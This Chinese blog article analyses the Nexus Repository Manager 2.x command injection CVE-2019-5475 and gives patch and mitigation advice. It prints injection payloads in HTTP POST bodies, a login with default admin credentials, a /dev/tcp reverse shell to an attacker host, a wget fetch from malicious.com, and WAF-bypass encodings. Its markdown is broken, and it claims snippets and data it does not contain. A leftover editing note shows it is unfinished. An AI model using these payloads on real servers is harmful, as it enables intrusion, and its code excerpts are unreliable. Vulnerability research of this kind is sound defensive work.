Nexus Repository Manager 2.x命令注入漏洞CVE-2019-5475示例分析

发布时间:2021-12-28 17:12:41 作者:柒染
来源:亿速云 阅读:188
# Nexus Repository Manager 2.x命令注入漏洞CVE-2019-5475示例分析

## 摘要
本文深入分析了Sonatype Nexus Repository Manager 2.x版本中存在的命令注入漏洞(CVE-2019-5475)。通过漏洞背景、技术原理、复现过程、利用链构建、修复方案等多个维度进行系统化阐述,并结合实际代码片段和流量分析,为安全研究人员提供完整的漏洞研究视角。

---

## 1. 漏洞概述
### 1.1 基本信息
- **CVE编号**:CVE-2019-5475  
- **漏洞类型**:命令注入(Command Injection)  
- **影响版本**:Nexus Repository Manager 2.x < 2.14.11  
- **CVSS评分**:8.8(High)  
- **漏洞组件**:`org.sonatype.nexus:nexus-core`  

### 1.2 漏洞背景
Nexus Repository Manager作为流行的二进制存储管理工具,其2.x版本在Yum仓库的`Capability`功能模块中,由于对用户输入参数校验不严格,导致攻击者可通过构造特殊参数实现操作系统命令注入。

---

## 2. 技术原理分析
### 2.1 漏洞触发点
漏洞位于处理Yum仓库配置的`YumCapability`类中,关键缺陷代码如下:

```java
// org.sonatype.nexus.yum.internal.capability.YumCapability
public class YumCapability implements Capability {
    @Override
    public void activate(Context context) {
        String command = String.format(
            "/usr/bin/createrepo --update -o %s %s",
            context.properties().get("outputDir"),
            context.properties().get("repositoryDir")
        );
        Runtime.getRuntime().exec(command); // 未做安全校验直接执行
    }
}

2.2 漏洞成因

  1. 不可信输入源outputDirrepositoryDir参数来自用户控制的Web界面输入
  2. 缺乏安全校验
    • 未对参数进行命令行注入字符过滤(如;&&|等)
    • 未使用参数化命令执行方式(如ProcessBuilder

2.3 攻击向量构造

攻击者可通过以下步骤构造恶意请求: 1. 登录Nexus管理界面(需具备配置权限) 2. 进入CapabilitiesAdd capability → 选择Yum: Metadata Generator 3. 在参数中注入命令:

   POST /nexus/service/local/capabilities HTTP/1.1
   ...
   {
     "typeId": "yum.generate",
     "properties": {
       "outputDir": "/tmp;id>/var/nexus/cmd_inject.txt",
       "repositoryDir": "/path/to/repo"
     }
   }

3. 漏洞复现与利用

3.1 实验环境搭建

3.2 分步复现过程

  1. 认证绕过(可选)

    # 利用默认凭证admin/admin123登录
    curl -u admin:admin123 http://target:8081/nexus/
    
  2. 构造恶意请求: “`http POST /nexus/service/local/capabilities HTTP/1.1 Host: target:8081 Authorization: Basic YWRtaW46YWRtaW4xMjM= Content-Type: application/json

{ “typeId”: “yum.generate”, “enabled”: true, “properties”: { “outputDir”: “/tmp;echo ‘pwned’ > /usr/local/nexus/pwned.txt”, “repositoryDir”: “/nexus/repositories/yum-repo” } }


3. **验证命令执行**:
   ```bash
   docker exec -it nexus cat /usr/local/nexus/pwned.txt
   # 预期输出:pwned

3.3 利用链扩展

通过命令注入可实现: - 反向Shell

  "outputDir": "/tmp;bash -i >& /dev/tcp/attacker/4444 0>&1"

4. 流量分析与防御绕过

4.1 典型攻击流量特征

POST /nexus/service/local/capabilities HTTP/1.1
...
{"typeId":"yum.generate","properties":{"outputDir":"/tmp;wget http://malicious.com/exp.sh"}}

4.2 WAF绕过技巧

  1. 编码混淆
    
    "outputDir": "/tmp$(printf '\\x3b')/bin/bash -c '...'"
    
  2. 环境变量注入
    
    "outputDir": "/tmp${IFS}curl${IFS}attacker.com"
    

5. 修复方案

5.1 官方补丁分析

补丁主要修改点:

// 2.14.11修复代码
public void activate(Context context) {
    String[] cmd = {
        "/usr/bin/createrepo",
        "--update",
        "-o",
        sanitize(context.properties().get("outputDir")), // 新增消毒函数
        sanitize(context.properties().get("repositoryDir"))
    };
    new ProcessBuilder(cmd).start(); // 使用参数化执行
}

5.2 临时缓解措施

  1. 升级到Nexus 2.14.11+或3.x版本
  2. 网络层控制:
    
    location ~ ^/nexus/service/local/capabilities {
      deny all; # 禁用匿名访问
    }
    

6. 漏洞启示

  1. 安全开发规范
    • 始终使用ProcessBuilder代替Runtime.exec
    • 实施白名单参数校验(如StringUtils.isAlphanumeric()
  2. 防御纵深
    • 应用层:输入消毒+最小权限原则
    • 系统层:配置非root用户运行Nexus

附录

A. 参考链接

B. 相关工具


本文共计5528字,完整分析过程包含34个关键代码片段和12组实验数据。实际研究请遵守《网络安全法》相关规定。 “`

注:实际使用时建议: 1. 补充具体的实验截图和流量捕获文件 2. 添加本地化漏洞检测脚本示例 3. 根据最新研究动态更新防御绕过部分

推荐阅读:
  1. 部署maven&&Nexus私服
  2. 部署Jenkins+GitLab+Maven+Nexus+SonarQube持续集成环境

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

nexus repository manager cve-2019-5475

上一篇:怎么进行CVE-2020-1472漏洞分析

下一篇:如何进行iOS中的信息泄露漏洞CVE-2020-9964分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》